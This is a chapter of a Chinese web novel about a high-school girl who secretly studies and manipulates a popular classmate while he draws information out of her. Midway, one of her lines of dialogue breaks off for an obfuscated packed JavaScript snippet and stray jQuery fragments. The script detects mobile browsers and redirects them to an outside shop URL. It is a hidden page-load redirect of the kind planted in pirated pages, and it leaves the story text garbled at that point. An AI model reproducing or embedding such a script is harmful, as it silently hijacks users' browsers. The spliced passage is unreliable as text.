默认冷灰
24号文字
方正启体

10. 10%

作者:Lopevas本书字数:K更新时间:
    正午烈日,体育课。


    自由活动解散后,葛飞灵折着卷子躲到体育馆的观众席上。


    算起来,她有一段时间没去找景浣问题目套近乎了。


    一方面是她有点烦,几天的随堂小测并不理想,她觉得在景浣身上费心思不可避免地影响到学业。


    虽然不值得,但是一旦开始,退缩就是胆小鬼。


    另一方面通过柴佳和毛巧贞旁敲侧击,知道两个人都给他透了不少信息。


    葛飞灵打算再晾一段时间。


    正想着,她从兜里掏出笔和折叠成方块的卷子,提笔要写题目的时候,旁边的椅子涟起一阵微小的震动,两盒气雾剂递到她面前。


    葛飞灵握笔的手停住。


    “这个祛疤效果很好的。”本该在球场上的男生突然空降,坐到她左边的席位,看着她脸上淡粉的痕迹开口。


    她没接,景浣暂时放到座位上,继续说:“毛巧贞都告诉我了,对不起。”


    传声筒起作用了。


    只是她没料到,他主动过来找她的时间比预计的更早。


    葛飞灵悄无声息把笔收回去,和他拉开了一点距离,装出被戳中心事的模样,“我没有被家人打,不是他们打的。”


    欲盖弥彰。


    景浣的脸色仍保持平静,眉眼稍松动。


    “他们这样对你多久了?”他问。


    葛飞灵真不想给他透露太多细节,将卷子揉回口袋,她起身要躲开他的趋势。


    他想也不想地抓住她的手腕,“逃避解决不了问题。”


    温热、掌纹脉络紧贴她的皮肤,葛飞灵强忍几秒闭眼,顺着他的力道重新坐回去。


    景浣刚有一点欣慰,眼前的女生又扑簌簌地掉下眼泪,豆大的泪珠砸落他的手背,然后蜿蜒流到校裤上。


    “哭也不能解决问题。”他无奈之中带了点心揪,拿出备好的纸巾,递给她。


    她还是哭,眨着眼,眼泪越掉越多。


    人的性格在细节中体现,有时候,哭泣的方式也能窥见一二。


    她的啜泣总是克制着压到最小,直至无声,足见她整个人也是压抑的,在那个家活得如履薄冰。


    景浣定定地看了一会儿,发现她又有小龙女哭海的倾向。


    他只好自己抽出一张纸巾,稍微凑近间距,俯身替她擦眼泪,“我这次没有衣服给你哭了。”


    她还能抽噎着把泪全揩到他的手背上,跟小朋友报复似的。


    景浣忍不住笑,照单全收她的眼泪,又抽了两张纸巾,轻而缓慢地擦拭那双漂亮微肿的眼眸。


    “你家里的事,如果有什么难处,可以跟我说,我会尽力帮忙,你哭得再多,也只是助纣为虐,知道吗?”


    葛飞灵心底嗤之以鼻。


    这么多年她靠眼泪才活下来的命,听他一个不愁吃穿长大的才是傻。


    但她面上不表,仍然装纯装可怜。


    葛飞灵一边不满他擦眼泪的动作慢得出奇,一边歪打正着地贴到了他的掌心。


    景浣触及她娇嫩的肌肤的指尖滞了滞。


    随即他突兀地往别处望了一眼,似在管理表情,然后调整过来,继续帮她擦着泪水。


    “谢谢你,我自己、自己来吧。”葛飞灵像被他的体温烫着了似的,马上拉开两人之间过近的距离,从他手中接过半湿的纸巾。


    他依言让她拿走整包纸巾,没再吭声,掌心残留的液体顺进他的袖口。


    景浣安静地看着她胡乱又快速擦脸的动作。


    “……我先走了。”女生似乎很讨厌跟他单独相处,囫囵擦完眼泪又想再度起身离开。


    景浣没阻止她,也没提醒她忘了拿气雾剂。


    上午第三节课的阳光太过刺眼,葛飞灵提前从体育馆出来,迎面的日光霎时直射,还未适应过来的眼皮浮上疲倦和刺痛感。


    “飞灵原来你在这儿!”她没走几步,就被刚运动完的毛巧贞找到了。


    葛飞灵觉得眼皮更痛了。


    她只想赶紧找个地方歇一歇。


    毛巧贞仿佛有用不完的精力,一边眉飞色舞地说着某部电影情节,一边拉着她往体育馆的方向走。


    “别。”葛飞灵揉着太阳穴婉拒,“我们不如回教室聊吧。”


    “没事,反正也快下课了,体育馆比较近呀。”


    葛飞灵还没做好再撞见景浣的准备,对方就从馆口走出来,毛巧贞有些欣喜,朝他打招呼,“好巧呀景浣。”


    “嗯。”


    他笑笑,颔首回应后便往操场走去。


    全程很识相地、目光没过多停留。


    葛飞灵又弄不清他心思了。


    毛巧贞的视线颇为留恋地跟了一会儿,然后嘴上继续讲回电影的内容:“那部电影情节设计得真的很巧妙,主角和同伴考试作弊被人举报,老师分开叫他们进办公室,首先对主角严厉逼问,主角宁死不招,老师就叫第二个人进来,跟他说主角全都坦白了,你还不认么?吓得那同伴立马承认,招了作弊细节。”


    葛飞灵漫不经心地听着,在回想景浣方才的一举一动,查漏补缺。


    “那老师好厉害啊,好会用揣测别人的心理。”


    毛巧贞感慨着,目光游离到篮球场上景浣的背影,她又犹豫地讲:“对了飞灵,其实我瞒了你一件事来着。”


    葛飞灵思绪稍稍抽离,看向她。


    “我不是说景浣关心你的伤么,还让我去问你以前班的同学,我没去问,也没告诉他你家里的情况,因为觉得这样暴露你的隐私实在不太好……”毛巧贞话音未落,葛飞灵的眼神微变,追问:“所以他根本不知道我身上的伤是谁打的?”


    毛巧贞点头:“是的……我觉得这种事你肯定不想被太多的人知道,虽然景浣不会乱说……”


    葛飞灵静默五秒。


    被他套话了。


    他就跟毛巧贞说的电影一样,利用了她的心态,来得到他需要的信息。


    “景浣,你刚去哪儿了啊?”其中一个男同学/运着球好奇地问。


    景浣换上事先备好的T恤,稳稳接住那颗篮球,牙齿微露,“我没去哪儿。”


    他仰头,举臂将篮球掷过一条弧线。


    “砰!”球正正好好落进球框内。


    “卧槽,三分!”


    “我景牛逼。”


    他们果然被转移注意力,没再缠着这个问题。


    *


    课间,班里堆满了运动过后的热汗气息。


    葛飞灵依旧干净整洁,头发丝也没乱,坐在座位上写作业。


    “我在操场跑了好久,可是景浣有一段时间没在球场……”柴佳擦着汗坐下来,跟她发牢骚。


    葛飞灵解着题,脑内划过几个念头,开口:“也许他去找别人了。”


    “他去找谁了?”


    同桌顿时紧张起来,脖子上的汗还没擦干就凑过来。


    葛飞灵微不可闻地蹙眉,拿本子挥了挥,假装自己很热。


    “你说他能去找谁。”她意有所指地望了毛巧贞的方向。


    正好试探柴佳到底瞒了她什么。


    葛飞灵想到这儿,又讲:“我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233427|197627||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    中午不能跟你一起吃饭了,有点事,你最近也先别找景浣了。”


    “好…好,我知道了。”柴佳心神不宁地应。


    葛飞灵分心写完最后一道题,她猜到同桌肯定不会善罢甘休。


    其实对方没有想象中听她的话。


    教室因为一节体育课变得闹哄哄,如同菜市场一样。


    景浣去卫生间换下湿透的T恤,洗干净汗水流淌的脸,他习惯性摸裤兜的纸巾,碰到盒子的触感,才想起来纸巾全给她擦眼泪了。


    他嘴角微扬,垂下手,只好用指腹抹去眼角的水,能睁开眼就行。


    回到教室,他脸上的水已经吹干了一半,毛巧贞恰好在门口撞到他,“景浣,我又想起一道题没问你……”


    葛飞灵和柴佳同时看见了这一幕。


    天助她也。


    葛飞灵为了排除暗恋他的嫌疑,率先挪开目光。


    眼角的余光侧扫到同桌的视线久久不离。


    这下她对中午的揭晓更加有信心。


    “可以是可以,但你得先让我回座位吧。”景浣无奈地笑,抬眸看见班里许多人盯着他们俩,似是怀疑着什么。


    最近毛巧贞确实找他的次数过多了。


    他也扫见班里后排座位的葛飞灵罕见地跟着望过来,只不过撞及他的目光,随即又迅速低头写东西。


    景浣不自觉笑,毛巧贞还在喋喋不休地说着题目,误以为他心情不错。


    “他对我笑了好像……”柴佳则喃喃自语,语气中透着一丝兴奋。


    葛飞灵自动屏蔽同桌的花痴,记录研究的笔记本又贴上一句话:


    他的兴趣暂时不明。


    今晚她得去找一趟徐柔,顺便还钱。


    中午放学,葛飞灵只留了几分钟就离开教室,走到与高三相连的实验楼,爬上三楼,站在叶子遮挡的地方,观察楼下窗户透着的实验班情况。


    这个位置她上次无意中发现的,估计昊磷平时没少站这儿视奸他们。


    她一边时不时关注一眼,一边写着老师布置的英语作文。


    作文临近收尾的时候、毛巧贞刚走没多久,景浣准备收拾桌面,柴佳默默走到了他桌前。


    零星几个男生状似起哄,景浣的脸色不变。


    柴佳用祈求的神情盯着他,嘴没有停下来过。


    景浣的动作放慢,非常有耐性地听,表情管理依旧没有破绽。


    班里逐渐没了人,打算和景浣一起吃饭的男生都先走了。


    葛飞灵观察他们俩的默剧,揣测两人的情绪起伏。


    没多久,柴佳直接趴到他的桌子,肩膀一抽一抽的,景浣神情稍缓,曲起手指敲了两下桌沿,叫她起来。


    不等景浣去扶她的肩,柴佳就猛地抬头。


    错失了一次机会。


    还是太笨,葛飞灵想。


    这下景浣见她没事了,也没了留下来陪她的理由,微张嘴说了句话,柴佳的眼神充满不舍。


    仿佛一只即将被抛弃的流浪猫。


    景浣摸了摸她的头,似乎又安慰了什么内容,抬眸往别处看了一眼。


    葛飞灵猜他在看墙上的时钟,他开始烦了。


    柴佳应该点到为止,别再纠缠才对。


    可柴佳终究不是她,当局者迷,旁观者清,爱恋蒙蔽了她,导致看不清景浣的真实想法。


    其实也不是。葛飞灵转念又想,景浣的表情管理太好,大概没多少人能彻底看穿他。


    她也只是通过他表现出来的行为推测,和依靠那本每天把他当课题来研究的笔记。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)